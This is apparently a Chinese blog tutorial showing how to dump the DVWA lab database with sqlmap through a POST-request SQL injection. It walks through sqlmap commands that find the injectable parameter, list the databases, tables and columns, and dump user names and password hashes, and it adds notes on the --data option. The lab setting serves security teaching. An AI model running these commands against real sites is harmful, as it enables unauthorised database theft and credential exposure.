一、准备工作

1、sqlmap为python语言开发,因此需要具备python环境。

2、python环境搭建及sqlmap下载,可参考其他文章。(很多也很全,这个不是本文重点,因此略过)

二、环境搭建

1、本人使用的是Mac、windows7虚拟机,windows7中部署DVMA

2、以DVMA的sql注入为例(DVMA安全级别为medium),进行详细介绍。

三、post请求脱库(需借助burpsuit)
1、访问链接“http://192.168.200.130/DVWA/vulnerabilities/sqli/” User ID下拉“1” ,如下图。(此处不在验证sql注入,直接使用sqlmap脱库)

待测试链接为“http://192.168.200.130/DVWA/vulnerabilities/sqli/”,可发现没有参数,报文信息如下,将报文另存为post.txt:

SQLMAP 脱库过程(post请求)

2、开始sqlmap测试,python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch

(-r 指定文件路径,类似于-u指定链接一样),可发现id存在注入,如下图。

SQLMAP 脱库过程(post请求)

SQLMAP 脱库过程(post请求)

3、获取当前数据库 --current-db参数,即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch --current-db

分析出当前数据库为dvwa

SQLMAP 脱库过程(post请求)

4、获取当前数据库下的表 --tables参数 即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa --tables

(-D:指定数据库名)

可发现,运行结果后,有两个表,分别是guestbook、users

SQLMAP 脱库过程(post请求)

5、获取指定表的列属性 --columns参数 即:python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa -T users --columns

SQLMAP 脱库过程(post请求)

(-D:指定数据库名,-T:指定表名)

运行结果后,存在8个列属性,如下图所示。

6、正式脱库 --dump参数,即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa -T users -C "user,avatar,password,user_id" --dump

(-D:指定数据库名,-T:指定表名,-C:指定需要的列名,--dump代表下载)

SQLMAP 脱库过程(post请求)

可发现,已将相关信息下载到“/Users/***/.sqlmap/output/192.168.200.130/dump/dvwa/users.csv”目录下。

成功完成post请求注入的脱库。

-------------

注意:

当发现用“-r txt文件”的形式无效时,可以通过“--data="key=value"”来进行测试注入。

情况1、POST注入时,用 sqlmap -r "***:/postrequest.txt"的形式,post报文body如下:

参数1=value1&参数2=value2.....

情况2、POST注入时,用sqlmap -u  url  --data="name=value" 的形式,post报文body如下:

--c7eb38bf-7ea1-4fbc-836a-47ceafdfd30a

Content-Disposition: form-data; name="page"

Content-Length: 1

1

--c7eb38bf-7ea1-4fbc-836a-47ceafdfd30a

Content-Disposition: form-data; name="search"

Content-Length: 1

qqqqq

--c7eb38bf-7ea1-4fbc-836a-47ceafdfd30a--

 

相关文章:

  • 2021-04-26
  • 2022-12-23
  • 2022-12-23
  • 2021-03-26
  • 2022-02-11
  • 2021-12-04
猜你喜欢
  • 2021-12-03
  • 2021-06-28
  • 2021-05-05
  • 2021-12-03
  • 2021-11-26
  • 2022-03-01
  • 2022-12-23
相关资源
相似解决方案